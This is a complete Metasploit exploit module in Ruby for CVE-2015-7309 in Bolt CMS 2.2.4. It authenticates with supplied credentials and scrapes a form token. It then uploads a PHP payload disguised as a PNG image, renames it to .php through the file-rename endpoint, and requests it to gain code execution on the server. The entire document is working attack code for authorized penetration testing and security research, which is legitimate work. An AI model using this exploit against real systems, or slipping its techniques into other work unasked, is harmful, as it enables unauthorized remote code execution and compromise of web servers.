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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(update_info(
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      info,
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      'Name'            => 'CMS Bolt File Upload Vulnerability',
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      'Description'     => %q{
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          Bolt CMS contains a flaw that allows an authenticated remote
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          attacker to execute arbitrary PHP code. This module was
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          tested on version 2.2.4.
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        },
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      'License'         => MSF_LICENSE,
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      'Author'          =>
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        [
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          'Tim Coen', # Vulnerability Disclosure
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          'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
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        ],
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      'References'      =>
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        [
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          ['CVE', '2015-7309'],
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          ['URL', 'http://blog.curesec.com/article/blog/Bolt-224-Code-Execution-44.html']
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        ],
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      'DisclosureDate'  => '2015-08-17',
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      'Platform'        => 'php',
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      'Arch'            => ARCH_PHP,
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      'Targets'         => [['Bolt 2.2.4', {}]],
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      'DefaultTarget'   => 0
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    ))
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    register_options(
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      [
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        OptString.new('TARGETURI',  [true, 'The base path to the web application', '/']),
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        OptString.new('FOLDERNAME', [true, 'The theme path to the web application (default: base-2014)', 'base-2014']),
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        OptString.new('USERNAME',   [true, 'The username to authenticate with']),
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        OptString.new('PASSWORD',   [true, 'The password to authenticate with'])
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      ])
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  end
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  def check
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    cookie = bolt_login(username, password)
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    return Exploit::CheckCode::Detected unless cookie
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    res = send_request_cgi(
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      'method'      => 'GET',
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      'uri'         => normalize_uri(target_uri.path, 'bolt'),
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      'cookie'      => cookie
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    )
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    if res && res.code == 200 && res.body.include?('Bolt 2.2.4</b>: Sophisticated, lightweight & simple CMS')
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      return Exploit::CheckCode::Vulnerable
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    end
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    Exploit::CheckCode::Safe
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  end
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  def username
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    datastore['USERNAME']
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  end
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  def password
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    datastore['PASSWORD']
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  end
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  def fname
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    datastore['FOLDERNAME']
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  end
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  def bolt_login(user, pass)
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    res = send_request_cgi(
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      'method'      => 'GET',
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      'uri'         => normalize_uri(target_uri.path, 'bolt', 'login')
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    )
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    fail_with(Failure::Unreachable, 'No response received from the target.') unless res
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    session_cookie = res.get_cookies
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    vprint_status("Logging in...")
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    res = send_request_cgi(
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      'method'      => 'POST',
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      'uri'         => normalize_uri(target_uri.path, 'bolt', 'login'),
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      'cookie'      => session_cookie,
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      'vars_post'   => {
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        'username'  => user,
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        'password'  => pass,
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        'action'    => 'login'
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      }
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    )
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    return res.get_cookies if res && res.code == 302 && res.redirection.to_s.include?('/bolt')
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    nil
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  end
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  def get_token(cookie, fname)
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    res = send_request_cgi(
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      'method'      => 'GET',
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      'uri'         => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
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      'cookie'      => cookie
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    )
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    if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" /
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      return Regexp.last_match[1]
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    end
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    nil
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  end
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  def rename_payload(cookie, payload, fname)
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    res = send_request_cgi(
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      'method'      => 'POST',
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      'uri'         => normalize_uri(target_uri.path, 'async', 'renamefile'),
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      'vars_post'   => {
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        'namespace' => 'theme',
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        'parent'    => fname,
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        'oldname'   => "#{payload}.png",
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        'newname'   => "#{payload}.php"
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      },
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      'cookie'      => cookie
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    )
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    return true if res && res.code == 200 && res.body.include?('1')
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    nil
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  end
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  def exploit
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    vprint_status("Authenticating using #{username}:#{password}")
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    cookie = bolt_login(username, password)
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    fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
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    vprint_good("Authenticated with Bolt.")
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    token = get_token(cookie, fname)
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    fail_with(Failure::Unknown, 'No token found.') if token.nil?
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    vprint_good("Token \"#{token}\" found.")
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    vprint_status("Preparing payload...")
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    payload_name = Rex::Text.rand_text_alpha_lower(10)
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    data = Rex::MIME::Message.new
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    data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"form[FileUpload][]\"; filename=\"#{payload_name}.png\"")
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    data.add_part("#{token}", nil, nil, 'form-data; name="form[_token]"')
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    post_data = data.to_s
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    vprint_status("Uploading payload...")
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    res = send_request_cgi(
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      'method'    => 'POST',
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      'uri'       => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
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      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
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      'data'      => post_data,
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      'cookie'    => cookie
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    )
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    fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 302
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    vprint_good("Uploaded the payload.")
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    rename = rename_payload(cookie, payload_name, fname)
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    fail_with(Failure::Unknown, 'No renamed filename.') if rename.nil?
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    php_file_name = "#{payload_name}.php"
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    payload_url = normalize_uri(target_uri.path, 'theme', fname, php_file_name)
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    vprint_status("Parsed response.")
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    register_files_for_cleanup(php_file_name)
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    vprint_status("Executing the payload at #{payload_url}.")
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    send_request_cgi(
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      'uri'     => payload_url,
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      'method'  => 'GET'
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    )
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  end
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end
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